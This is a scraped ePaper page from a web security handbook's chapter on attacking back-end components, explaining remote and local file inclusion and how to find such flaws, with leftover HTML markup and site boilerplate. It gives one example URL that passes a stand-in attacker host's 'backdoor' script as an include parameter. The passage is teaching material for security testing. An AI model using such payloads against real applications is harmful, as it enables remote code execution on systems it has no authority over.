19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

382 Chapter 10 n Attacking Back-End Components<br />

An attacker can exploit this behavior in different ways, <strong>the</strong> most serious of<br />

which is to specify an external URL as <strong>the</strong> location of <strong>the</strong> include file. The PHP<br />

include function accepts this as input, and <strong>the</strong> execution environment retrieves<br />

<strong>the</strong> specified file and executes its contents. Hence, an attacker can construct<br />

a malicious script containing arbitrarily complex content, host this on a <strong>web</strong><br />

server he controls, and invoke it for execution via <strong>the</strong> vulnerable <strong>application</strong><br />

function. For example:<br />

https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor<br />

Local File Inclusion<br />

In some cases, include files are loaded on <strong>the</strong> basis of user-controllable data, but<br />

it is not possible to specify a URL to a file on an external server. For example,<br />

if user-controllable data is passed to <strong>the</strong> ASP function Server.Execute, an<br />

attacker may be able to cause an arbitrary ASP script to be executed, provided<br />

that this script belongs to <strong>the</strong> same <strong>application</strong> as <strong>the</strong> one that is calling <strong>the</strong><br />

function.<br />

In this situation, you may still be able to exploit <strong>the</strong> <strong>application</strong>’s behavior to<br />

perform unauthorized actions:<br />

n There may be server-executable files on <strong>the</strong> server that you cannot access<br />

through <strong>the</strong> normal route. For example, any requests to <strong>the</strong> path /admin<br />

may be blocked through <strong>application</strong>-wide access controls. If you can cause<br />

sensitive functionality to be included into a page that you are authorized<br />

to access, you may be able to gain access to that functionality.<br />

n There may be static resources on <strong>the</strong> server that are similarly protected<br />

from direct access. If you can cause <strong>the</strong>se to be dynamically included<br />

into o<strong>the</strong>r <strong>application</strong> pages, <strong>the</strong> execution environment typically simply<br />

copies <strong>the</strong> contents of <strong>the</strong> static resource into its response.<br />

Finding File Inclusion Vulnerabilities<br />

File inclusion vulnerabilities may arise in relation to any item of user-supplied<br />

data. They are particularly common in request parameters that specify a language<br />

or location. They also often arise when <strong>the</strong> name of a server-side file is<br />

passed explicitly as a parameter.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!